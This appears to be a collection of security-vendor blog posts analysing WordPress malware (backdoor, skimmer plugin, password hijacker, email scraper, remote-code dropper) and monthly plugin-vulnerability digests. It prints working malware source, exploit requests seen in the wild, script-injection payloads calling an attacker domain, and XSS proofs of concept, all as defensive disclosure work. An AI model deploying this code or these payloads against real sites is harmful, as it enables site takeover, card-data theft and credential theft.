Extract Function Backdoor Variant

We recently found malware on a client’s WordPress site that was using a variant of a backdoor that we previously covered back in 2014.

The primary difference in this backdoor is that the malware has been formatted so that it is easier to use PHP functions like file_put_contents() to create additional malicious files from code within an attacker’s HTTP request.

A second different characteristic is that the malware requires that the attacker provide a value that will match the MD5 hash defined within the code. If this value is not provided, or if it does not match, then the malware will use die() to stop running and will not proceed. This essentially works as a password so that the malware cannot be used unless the correct ($b) value is known and provided in the HTTP request. That being said, anyone with access to modify the file can simply remove the code checking for the MD5 hash.

The values for the variables ($b, $c, $f, and $a) are provided through the attacker’s HTTP request and passed through the PHP function extract():

<?php
extract($_REQUEST);
if (md5($b) != '21232f297a57a5a743894a0e4a801fc3')
{
   die();
}
$c($f, $a);
include_once $f;
?>

The variable structure $c($f, $a) makes it easy to use file_put_contents (not limited to just this function), which allows an attacker to insert virtually any code into a file.

Finally, the last line of the malicious code uses include_once to load the malicious code that was inserted into a file by the attacker.

One primary example of malicious use includes using file_get_contents() to download a PHP web shell. Another example would be using system() to run arbitrary commands like ls for obtaining directory and file listings.

/sample.php?c=file_put_contents&a=<%3Fphp+system("ls+-lhart")%3B+%3F>&b=admin&f=test.php

PHP Sample

Website owners can use a web application firewall to block malicious requests to this type of injection.

Firewall block page

Vulnerabilities Digest: February 2020

Fixed Plugins and Vulnerabilities

 

Plugin Vulnerability Patched Version Installs
Duplicator Arbitrary File Download 1.3.28 1000000
Modula Image Gallery Authenticated Stored XSS 2.2.5 70000
Easy Property Listings CSRF 3.4 6000
ThemeREX Addons Remote Code Execution - 40000
Popup Builder SQL injection 3 100000
ThemeGrill Importer Database Wipe 1.6.2 200000
Ninja Forms Authenticated XSS 3.4.23 1000000
GDPR Cookie Consent Improper Access Controls 1.8.3 700000
Participants Database Authenticated SQL Injection 1.9.5.6 10000
Profile Builder Pro User Registration With Administrator Role 3.1.1 50000
Events Manager Pro CSV Injection 2.6.7.2 100000
Htaccess BestWebSoft CSRF to edit .htaccess - Closed
Auth0 Reflected XSS 3.11.3 4000
Portfolio Filter Gallery CSRF & Reflected XSS 1.1.3 10000
Strong Testimonials Stored XSS 2.40.1 90000

Highlights for February 2020

Plugin vulnerabilities allowing attackers to take full control of WordPress sites were most predominant this past month.

ThemeREX Addons

Some versions of the ThemeREX Addons plugin were affected by an unprotected API located in the plugin.rest-api.php file, located at:

wp-content/plugins/trx_addons/includes/plugin.rest-api.php
Vulnerable Code
// Register endpoints
if ( !function_exists( 'trx_addons_rest_register_endpoints' ) ) {
    add_action( 'rest_api_init', 'trx_addons_rest_register_endpoints');
    function trx_addons_rest_register_endpoints() {
        // Return layouts for the Gutenberg blocks
        register_rest_route( 'trx_addons/v2', '/get/sc_layout', array(
            'methods' => 'GET,POST',
            'callback' => 'trx_addons_rest_get_sc_layout',
            ));
        }
}

As demonstrated above, the endpoint registered with the register_rest_route function doesn’t have the permission_callback attribute, which grants it unrestricted access to the function 'trx_addons_rest_get_sc_layout' and all the shortcodes defined there.

Exploit Attempts Seen in the Wild

The following request is used to check if the plugin is installed and the API is active:

5.135.143.224 -- GET -- /wp-json/trx_addons/v2/get/sc_layout?sc=sdw1dd1 -- - -- 2020-02-19

ThemeGrill Demo Importer

ThemeGrill Demo Importer fixed a high criticality access bypass vulnerability caused by the lack of access restriction in critical function. This bug allows attackers to remove all WordPress tables.

Exploit Attempts Seen in the Wild
107.180.225.158 - - [18/Feb/2020:03:43:19 +0000] "GET /wp-admin/admin-ajax.php?do_reset_wordpress=1 HTTP/1.1" 400 11 "-"
144.217.50.66 - action=heartbeat [18/Feb/2020:19:36:06 +0000] "POST /wp-admin/admin-ajax.php?do_reset_wordpress=true HTTP/1.1" 200 59 "http://site.com/wp-admin/edit.php"
Patch (version 1.6.2)
Index: themegrill-demo-importer/trunk/includes/class-demo-importer.php
===================================================================
--- a/themegrill-demo-importer/trunk/includes/class-demo-importer.php
+++ b/themegrill-demo-importer/trunk/includes/class-demo-importer.php
@@ -378,4 +378,8 @@
         global $wpdb, $current_user;
 
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_die( __( 'Cheatin&#8217; huh?', 'themegrill-demo-importer' ) );
+        }
+        
         if ( ! empty( $_GET['do_reset_wordpress'] ) ) {
             require_once ABSPATH . '/wp-admin/includes/upgrade.php';
Detected IPs
45.129.96.17
107.180.225.158
144.217.50.66
77.71.115.52
182.161.69.114
5.101.0.209
190.117.233.114
156.204.11.228
222.254.76.56

Duplicator Download

A patch was released to protect against unauthenticated file downloads in Duplicator Download. This vulnerability was caused by the lack of restrictions in critical functions.

Exploit Attempts Seen in the Wild
104.238.95.46 - -  "GET /wp-admin/admin-ajax.php?action=duplicator_download&file=dupl.txt HTTP/1.1" 200 11
5.8.8.9 - - [26/Feb/2020] "GET /?action=duplicator_download&file=../wp-config.php HTTP/1.1" 200 16880 "-"
Patch (version 1.3.28)
@@ -244,8 +279,17 @@
     add_action('plugins_loaded',    'duplicator_update');
     add_action('plugins_loaded',    'duplicator_wpfront_integrate');
-    add_action('admin_init',        'duplicator_init');
+
+    function duplicator_load_textdomain()
+    {
+        load_plugin_textdomain('duplicator', false, false);
+    }
+    add_action('plugins_loaded', 'duplicator_load_textdomain');
+
+    add_action('admin_init',        'duplicator_admin_init');

@@ -282,9 +325,9 @@
      * @return null
      */
-    function duplicator_init()
+    function duplicator_admin_init()

Ongoing Campaign Targets Plugin Vulnerabilities

An ongoing malicious campaign that we’ve been actively tracking since early 2019 began ramping up again this month. The campaign targets old, vulnerable plugins to inject malicious scripts into compromised environments.

Malicious domain injected: slow[.]destinyfernandi[.]com

Poll, Survey, Form & Quiz Maker

35.224.59.29 - - [10/Feb/2020] "GET /wp-admin/admin-post.php?page=opinionstage-content-login-callback-page&success=\x22><script type=text/javascript src='https://slow.destinyfernandi.com/hos?&v15'></script> HTTP/1.1"

Fv-wordpress-flowplayer

35.224.59.29 - action=fv_wp_flowplayer_email_signup&list=1&email=<svg/onload=(function() { var elem = document.createElement('script'); elem.type = 'text/javascript'; elem.src = 'https://slow.destinyfernandi.com/hos?clod';document.getElementsByTagName(\x22head\x22)[0].appendChild(elem);})();>@test.com [10/Feb/2020:06:39:48 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Easy2Map

35.224.59.29 - mapID=1&mapName=%22%3E%3Cscript+src%3D%27https%3A%2F%2Fslow.destinyfernandi.com%2Fhos%3F%26v2%27+type%3Dtext%2Fjavascript%3E%3C%2Fscript%3E [10/Feb/2020] "PUT /wp-admin/admin-ajax.php?action=save_map_name HTTP/1.1"

Live Chat Support

35.224.59.29 - licenseEmail=%22%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Fslow.destinyfernandi.com%2Ftop%27%3E%3C%2Fscript%3E&licenseNumber=43 [10/Feb/2020] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 11 "livechat_settings"

Newspaper WP Theme

54.36.110.8 - action=td_ajax_update_panel&wp_option%5Busers_can_register%5D=1 [02/Feb/2020] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Kiwi-Social-Share

54.36.110.8 - action=kiwi_social_share_set_option&args%5Bgroup%5D=users_can_register&args%5Bvalue%5D=1 [02/Feb/2020 +0000] "PUT /wp-admin/admin-ajax.php HTTP/1.1"

WP GDPR Compliance

54.36.110.8 - --06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22fff\x22; filename=\x220.txt\x22\x0D\x0AContent-Type: application/octet-stream\x0D\x0A\x0D\x0A0\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22action\x22\x0D\x0A\x0D\x0Awpgdprc_process_action\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22security\x22\x0D\x0A\x0D\x0A\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22data\x22\x0D\x0A\x0D\x0A{\x22type\x22:\x22save_setting\x22,\x22append\x22:false,\x22option\x22:\x22users_can_register\x22,\x22value\x22 :\x221\x22}\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821--\x0D\x0A [02/Feb/2020] "POST /wp-admin/admin-ajax.php HTTP/1.1"

PhpMyAdmin and Adminer Scripts

Attackers were found to continue leveraging vulnerable versions of adminer as an infection vector this past February.

Regardless of a websites size, attackers are constantly scanning the internet for exploitable sites. We're seeing a well known attack vector targeting database connection scripts. Here’s the evidence of these malicious requests:

Requests
158.255.238.129 -- GET -- /programs/adminer.php -- - -- 2020-02-02T18:57:23.367Z

212.32.230.162 -- GET -- /temp/adminer.php -- - -- 2020-02-02T19:50:58.552Z

212.32.230.162 -- GET -- /scripts/adminer.php -- - -- 2020-02-03T07:35:56.110Z

198.12.153.39 -- GET -- /log/adminer.php -- - -- 2020-02-03T09:33:46.683Z

212.32.230.162 -- GET -- /adm/adminer.php -- - -- 2020-02-03T13:21:42.542Z

198.12.153.39 -- GET -- /share/adminer.php -- - -- 2020-02-03T20:34:24.056Z

158.255.238.129 -- GET -- /share/adminer.php -- - -- 2020-02-03T20:53:14.112Z

185.209.0.8 -- GET -- /adminer.php -- - -- 2020-02-04T12:52:42.725Z

103.90.228.16 -- GET -- /js/adminer.php -- - -- 2020-02-05T08:05:56.863Z

54.36.110.8 -- GET -- /adminer-4.7.1-mysql-en.php -- - -- 2020-02-02T04:56:59.579Z

54.36.110.8 -- GET -- /adminer-4.7.1-cs.php -- - -- 2020-02-02T04:56:58.579Z

54.36.110.8 -- GET -- /adminer-4.7.1.php -- - -- 2020-02-02T04:56:59.579Z

161.0.16.17 -- GET -- /adminer-4.6.1.php -- - -- 2020-02-19T19:52:49.096Z

172.245.217.109 -- GET -- /adminer2018.php -- - -- 2020-02-19T19:52:49.096Z

23.81.22.136 -- GET -- /adminer2020.php -- - -- 2020-02-19T19:52:49.096Z

161.0.16.17 -- GET -- /adminer12345.php -- - -- 2020-02-19T19:52:49.096Z

161.0.16.17 -- GET -- /adminer-4.6.1-mysql.php -- - -- 2020-02-19T19:52:49.096Z

54.36.110.8 -- GET -- /adminer-4.7.1-mysql.php -- - -- 2020-02-02T04:56:59.579Z

54.36.110.8 -- GET -- /adminer-4.7.2-en.php -- - -- 2020-02-02T04:57:00.580Z

54.36.110.8 -- GET -- /adminer-4.7.2-cs.php -- - -- 2020-02-02T04:57:00.580Z

54.36.110.8 -- GET -- /adminer-4.7.2-mysql-en.php

221.238.227.43 -- GET -- /admin/phpmyadmin/index.php -- - -- 2020-02-20T00:54:35.767Z

221.238.227.43 -- GET -- /phpmyadmin0/index.php -- - -- 2020-02-20T00:54:38.772Z

221.238.227.43 -- GET -- /phpmyadmin1/index.php -- - -- 2020-02-20T00:54:38.772Z

221.238.227.43 -- GET -- /phpmyadmin2/index.php -- - -- 2020-02-20T00:54:38.772Z

221.238.227.43 -- GET -- /xampp/phpmyadmin/index.php -- - -- 2020-02-20T00:54:41.776Z

221.238.227.43 -- GET -- /myadmin2/index.php -- - -- 2020-02-20T00:54:41.776Z

221.238.227.43 -- GET -- /myadmin/index.php -- - -- 2020-02-20T00:54:41.776Z

221.238.227.43 -- GET -- /phpmyadmin-old/index.php -- - -- 2020-02-20T00:54:43.778Z

221.238.227.43 -- GET -- /typo3/phpmyadmin/index.php -- - -- 2020-02-20T00:54:44.781Z

221.238.227.43 -- GET -- /phpmyadmin2222/index.php -- - -- 2020-02-20T00:54:50.788Z

[...]

Public exploits already exist for all of the components listed above. We strongly encourage you to keep your software up to date to prevent infection. Websites behind the Sucuri Firewall are protected against these exploits.

Skimmer Plugin Hides Itself From wp-admin

Our analyst Moe O recently discovered an interesting Javascript injection that was stealing submitted payment data from visitors on a WordPress website with a Woocommerce storefront.

The Javascript was found to be loading from a malicious plugin named wpdefault, which had been installed by the attacker. This malicious plugin contained two separate files within its directory.

./wp-content/plugins/wpdefault/wpdefault.php
./wp-content/plugins/wpdefault/test.php

The wpdefault.php file contains the Javascript used to capture submitted payment details from visitors on the infected website. It’s a rather unusual file — it appears the attacker was trying to create a “swiss army knife” payment sniffer for different payment processors (e.g Stripe, Square, Authorize.net) that are available on ecommerce platforms.

Most of wpdefault.php contains code that is commented out and therefore not run, but these comments all include similar Javascript used to capture the payment details submitted when the victim clicks on Place Order or equivalent payment button.

Once captured, the stolen data is stored in the msg and params variables so that it can be exfiltrated to the attacker through a generated XMLHttpRequest. This request is sent to a website controlled by the attacker — and in this case, looks to be a compromised third-party website (neuro-programmer[.]de) rather than an outright malicious domain.

stolen data storage and generated XMLhttprequest

Since the malicious plugin has been installed within the WordPress installation, it has access to add_action which hooks a defined function to a WordPress action.

To highlight this behavior further, let’s examine the actions and functions below.

function secret_plugin_webcusp() {
    global $wp_list_table;
    $hidearr = array('wpdefault/wpdefault.php');
    $myplugins = $wp_list_table->items;
    foreach ($myplugins as $key => $val) {
        if (in_array($key,$hidearr)) {
        unset($wp_list_table->items[$key]);
        }
    }
}
add_action('pre_current_active_plugins', 'secret_plugin_webcusp');

The malware uses the pre_current_active_plugins action alongside the secret_plugin_webcusp function to prevent WordPress from showing the plugin’s name in the Active Plugins list, making it difficult for website owners to identify that the wpdefault plugin has been installed in their environment.

It then uses the pre_user_query action with the created function yoursite_pre_user_query to hide the malicious WordPress administrator wpuser55346 from view in the /wp-admin interface.

function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'wpuser55346'",$user_search->query_where);
}
add_action('pre_user_query','yoursite_pre_user_query');

A final function — rgkirjeo — is hooked with the login_footer action, which uses Javascript to capture the user_login and user_pass data from login attempts made on the /wp-admin page.

rgkirjeo function hooked with login_footer to capture login and passwords

This malicious plugin was found to be exhibiting behavior similar to this injection we covered last year. It is also related to an investigation made in 2017 which found WordPress classes being used to hide malicious users.

Credit card skimmers can be hidden within compromised environments using a variety of techniques — and methods can extend way beyond hiding them in malicious plugins. Website owners should perform regular security scans of web assets to detect skimmers and other indicators of compromise.

Malicious WordPress User Hijacker

Our analyst Liam Smith recently found a malicious file with the name wp-atom2.php on a compromised WordPress site that had been infected with pharma spam. The spam content had been found injected into the _postmeta table within the WordPress database.

The malicious wp-atom2.php file loads wp-config.php using the require_once function, which contains the database’s host, username, and password information. The attacker can then use this MySQL connection information to authenticate with the MySQL database for the targeted WordPress website.

If the attacker simply loads the file in the browser, the output will just include an array of the data found within the _users table of the WordPress database:

$sql = $mysqli->query("SELECT * FROM {$table_prefix}users LIMIT 0, 10 ");
while($rows = $sql->fetch_assoc()) {
?>
    <pre>
<?php print_r($rows); ?>
    </pre>

This _users table output is extremely helpful to the attacker — it contains information that can be used to create a backdoor and maintain unauthorized access to the compromised environment.

Array WordPress User Hijacker

The ID value can be used to select the user that the attacker wants to change the password for. To change the password, the attacker just needs to submit a crafted GET request with the ID and pass or new parameter.

If pass is used, the attacker can provide their own MD5 hash value to be inserted into the user ID that is included in their HTTP GET request:

/wp-atom2.php?pass=21232f297a57a5a743894a0e4a801fc3&id=2
require_once('wp-config.php');
$mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if ( isset($_GET['pass']) ) {
    $id  = (isset($_GET['id']) ? (int) $_GET['id'] : 1);
    $pas = $_GET['pass'];
    if (isset($pas)) {
        $mysqli->query("UPDATE {$table_prefix}users SET user_pass = '{$pas}' WHERE ID = '{$id}'");
    }

If the attacker uses new, a password value doesn’t need to be provided at all. Instead, the script defaults to the password 12345 for the provided user ID. It then goes on to use the function wp_signon to authenticate the new password and generate a hyperlink to /wp-admin that the attacker can click on for direct access to the /wp-admin interface.

/wp-atom2.php?new&id=2
} elseif ( isset($_GET['new']) ) {
    $id  = (isset($_GET['id']) ? (int) $_GET['id'] : 1);
    $mysqli->query('UPDATE '.$table_prefix.'users SET user_pass = \'$P$BLIwZyiB0J2XvUAsNyKQI1hyEMox0A0\' WHERE ID = \''.$id.'\'');
    $creds = array();
    $sql = $mysqli->query("SELECT user_login FROM {$table_prefix}users WHERE ID = '{$id}' LIMIT 0, 1");
    $row = $sql->fetch_assoc();    $creds['user_login']     = $row['user_login'];
    $creds['user_password'] = '12345';
    $creds['remember']         = true;    
$user = wp_signon( $creds, false );    
if ( is_wp_error($user) ) {
       echo $user->get_error_message();
    } else { echo '<a href="/wp-admin/" target="_blank">Log into deep</a>'; }
}

The best way to mitigate risk and detect malicious activity is to leverage a website monitoring solution to identify indicators of compromise within your environment.

Email Scraper: Mass Mail Grabber from Database

One of our Remediation team analysts, Liam Smith, discovered a malicious file on a client’s compromised WordPress website that demonstrates how attackers can use rudimentary tools to extract specific data from available databases.

In this case, a malicious PHP file was targeting email addresses stored on a compromised webserver.

./mail.php

The input data requested by the malicious PHP script is used to connect to the SQL server/service and access any available SQL databases. The connection information for the compromised website can be gathered from existing configuration files, such as wp-config.php and configuration.php.

Mass Mail Grabber from Database

Once the attacker completes and submits the form on mail.php, the malicious PHP code handles the rest. It connects to any available SQL databases with the login information submitted and queries them.

Mailicious PHP Code

The scraper was not elegantly designed; it’s not efficient in the methods used to perform SQL queries. As a result, it struggles to stay within reasonable max_execution_time or memory_limit limits defined by the hosting server’s php.ini settings.

This inefficiency stems from the fact that it uses the SQL user login information submitted by the attacker on the mail.php form to retrieve a list of available databases, then lists the tables for each database, and finally displays the columns for each table of each database.

Once the data is collected, the final result is then queried. The PHP function preg_match is used to look for text containing the @ symbol in the text fields of the query results. Anything containing the @ symbol is then dumped into the file result-mail.txt, which generates a hyperlink for the attacker to click and download after the malicious tool has finished running.

PHP Dropper Concealed in Malicious WordPress Plugin

Moe Obaid - an analyst from our Remediation Team - recently found a PHP dropper that had been installed as a malicious WordPress plugin. Unlike other fake plugins we’ve recently written about, this plugin had been installed and activated in the administrator backend (wp-admin) to help evade detection.

Once installed and activated, the malicious plugin’s file ./wp-content/plugins/wpfilmngr/index.php is loaded and gains access to specific WordPress PHP functions like the add_action() hook.

PHP Dropper Functionality

This malicious PHP file uses the following PHP code to operate. Pay close attention to the custom function upload1Fsociety112233:


function upload1Fsociety112233(){
        function getDataFromURLWP112233($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $output = curl_exec($ch);
            curl_close($ch);
            if (!$output) {
                $output = file_get_contents($url);
                if (!$output) {
                    $handle = fopen($url, "r");
                    $output = stream_get_contents($handle);
                    fclose($handle);
                }
            }
            if (!$output) {
                return false;
            } else {
                return $output;
            }
        }

        function putDataFromURLWP112233($file, $dump)
        {
            $dump = '<?php /*' . md5(rand(0, 9999999999)) . md5(rand(0, 9999999999)) . ' */?>' . $dump;
            file_put_contents($file, $dump);
        }
        if(isset($_REQUEST["testingfsoc"])) {
            $url = $_REQUEST["url"];
            $fileName = $_REQUEST["filename"];
            $fullFileName = $_SERVER["DOCUMENT_ROOT"] . "/$fileName.php";
            $dataFromURL = getDataFromURLWP112233($url);
            if($dataFromURL){
                putDataFromURLWP112233($fullFileName,$dataFromURL);
            }
        }
}

The custom function upload1Fsociety112233 is actually compromised of two separate custom functions:

  • getDataFromURLWP112233
  • putDataFromURLWP112233

The getDataFromURLWP112233 function does exactly as the name implies. It requests data from a remote host using the PHP curl function. The remote host is provided by the attacker in their crafted HTTP request with the url parameter value. It then inserts the returned data output into a .php file, along with some PHP tags and the MD5 hash values named in the attacker’s HTTP request with the filename value.

The malicious code also contains functionality that conceals the fake plugin to prevent it from being displayed to logged in users in the wp-admin backend. This is accomplished by checking for specific user-agent’s in the visitor’s request.

<?php
function validateUserAgentWP112233(){
    function checkSecretUserAgent112233($user){
        if($user == $_SERVER['HTTP_USER_AGENT']){
            return true;
        }else{
            return false;
        }
    }
    function hookAdminPluginWP112233($plugin){
        $itemsForHooking = array($plugin);
        global $wp_list_table;
        $myData = $wp_list_table->items;
        foreach ($myData as $key => $val) {
            if (in_array($key, $itemsForHooking)) {
                unset($wp_list_table->items[$key]);
            }
        }
    }
    if(!checkSecretUserAgent112233('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36')){
        hookAdminPluginWP112233('wpfilmngr/index.php');
    }
}
?>

The custom function hookAdminPluginWP112233 is used to hide the plugin from view and only runs if the visitor’s user-agent does not match the defined string:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36

When the malicious plugin is active, it does not show on the active plugin page if the visitor’s user-agent does not match.

The dashboard still shows the total active plugins accurately, but this is often missed by website owners. Most WordPress installations use multiple plugins — making it more difficult to “eyeball” the number of active plugins and detect any unwanted components.

If the user-agent does match the custom function hookAdminPluginWP112233, the malicious plugin will actively display.

Vulnerabilities Digest: January 2020

Fixed Plugins and Vulnerabilities

Plugin Vulnerability Patched Version Installs
InfiniteWP Client Login bypass 1.9.4.5 300000
ListingPro Reflected XSS 2.5.4 13000
Travel Booking Stored XSS 2.7.8.6 7627
Real Estate 7 Stored XSS 2.9.5 7725
Computer Repair Shop Stored XSS 2.0 100
Video on Admin Dashboard Stored XSS 1.1.4 60
Marketo Forms and Tracking CSRF to XSS N/A Closed
Contextual Adminbar Color Stored XSS 0.3 50
Batch-Move Posts Stored XSS N/A Closed
WP Database Reset Database Reset 3.15 80000
Minimal Coming Soon & Maintenance Mode Stored XSS 2.15 80000
Ultimate FAQ Reflected XSS 1.8.29 40000
WP Simple Spreadsheet Fetcher For Google Arbitrary API Update 0.4.8 10
Import Users From CSV with Met Unauthorised Users Export 1.15.1 30000

Highlights for January 2020

Logical vulnerabilities in PHP code are still the most dangerous and challenging to block.

The InfiniteWP Client plugin allows site owners to manage multiple websites from one central server using the InfiniteWP Server and versions < 1.9.4.5 were affected by an authentication bypass.

Exploit Attempts Seen in the Wild

54.39.10.60 -- POST -- /wp-admin/ -- _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsic2l0ZV91cmwiOiJodHRwOlwvXC93ZWVkaW1wYWN0LmNvbVwvd3AtYWRtaW5cLyIsImFjdGlvbiI6ImFkZF9zaXRlIiwicHVibGljX2tleSI6IkxTMHRMUzFDUlVkSlRpQlFWVUpNU1VNZ1MwVlpMUzB0TFMwS1RVbEpRa2xxUVU1Q1oydHhhR3RwUnpsM01FSkJVVVZHUVVGUFEwRlJPRUZ....skipped..RDR1AyOStRcGtkMkRtdmRUR2VkVW5JeGFXNGkzZktDem0yd05pOUJFUTJEdkVyYUVzZ29qVkNodHZXaU5DKzhYMkI2a1wveENPK0FLYWFkUW9kRzZqVGRWQmdOeStnUzRrZElHaWhGZG9TZXRnPT0iLCJ1c2VybmFtZSI6IiIsImFjdGl2YXRpb25fa2V5IjoiNmQxOTllNjRmNjlmN2RjMjM4NGY0NThlMjEzMGU1NTI3NzZlODEzYiJ9LCJpd3BfYWRtaW5fdmVyc2lvbiI6IjIuMTUuNS4zIn0=

Detected IPs

93.95.102.51
188.127.224.35
178.32.47.218
66.228.44.215
173.249.6.22
54.39.10.60
5.196.207.195
84.238.108.177
109.96.171.178
92.119.185.126
82.77.172.62
82.78.189.130
46.253.203.36
82.77.172.62
[...]

Cross Site Scripting

Cross site scripting vulnerabilities were most predominant this month.

Contextual Adminbar Color

Contextual Adminbar Color fixed a low criticality authenticated stored cross site scripting vulnerability caused by the use of the incorrect filtering function. As mentioned in WordPress’ documentation, the function sanitize_text_field should only be used when we want to be permissive with the data we are getting from user input.

PoC
message" onfocus=confirm(123) autofocus="yes"
Patch (version 0.3)
@@ -100,6 +100,6 @@
        if ( get_option( 'contextual-adminbar-color' ) ) {
             $current_settings = get_option( 'contextual-adminbar-color' );
-            $slug = sanitize_text_field( $current_settings['slug'] );
-            $message = sanitize_text_field( $current_settings['message'] );
+            $slug = esc_html( $current_settings['slug'] );
+            $message = esc_attr( $current_settings['message'] );

UltimateFAQ

UltimateFAQ fixed a medium criticality reflected cross site scripting vulnerability caused by a lack of sanitized user input.

PoC
http://site.com/?Display_FAQ=’<svg/onload=alert(123)>;
Patch (version 1.8.30)
@@ -246,5 +246,5 @@
     }
     elseif (isset($_GET['Display_FAQ'])) {
-        $ReturnString .= "<script>var Display_FAQ_ID = '" . $_GET['Display_FAQ'] . "-%Counter_Placeholder%';</script>";
+        $ReturnString .= "<script>var Display_FAQ_ID = '" . intval($_GET['Display_FAQ']) . "-%Counter_Placeholder%';</script>";
         $Display_FAQ_ID = $_GET['Display_FAQ'];
     }

vBulletin

An RCE in vBulletin is still within the scope of attackers.

Exploit Attempts Seen in the Wild

182.161.69.114 -- POST -- /forums.php -- epass=2dmfrb28nu3c6s9j&routestring=ajax/render/widget_php&widgetConfig[code]=die(@md5(HellovBulletin));

Detected IPs

94.191.113.146
66.155.39.56
106.54.229.94
139.186.21.132
119.27.173.75
182.161.69.114
5.101.0.209
190.117.233.114
156.204.11.228
222.254.76.56
42.112.159.255
118.70.26.13
36.76.172.176
160.120.177.106
[...]

A malicious campaign that peaked last year has finally ceased this past month, mostly because some sites have stopped publishing new plugin vulnerability exploits.

PHPUnit

Attackers are still trying to leverage an RCE in PHPUnit.

Unpatched versions of PHPUnit prior to 4.8.28 and 5.6.3 allowed remote attackers to execute arbitrary PHP code via HTTP POST data.

Exploit Attempts Seen in the Wild

POST -- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -- 

PATH / Technologies Scanned

POST -- //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //krisda/stockapi/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //pgd/pgnim/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //Cloudflare-CPanel-7.0.1/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //atoms/raphaelfonseca/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //entmain/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //school/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //web.public/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //4walls/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //concrete/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //phpmailer/PHPMailer/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //sistema/dompdf-master/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //pid/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //digitalscience/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //fcma/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/src/Util/PHP/eval-stdin.php
POST -- //phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/Util/PHP/eval-stdin.php
POST -- //phpunit/Util/PHP/eval-stdin.php
POST -- //simpeg-code-dinkes/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //site/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //test/med-decision/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/Util/PHP/eval-stdin.php
POST -- //go2growApi/payment/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //payment/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //wsviamatica/wszool/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[...]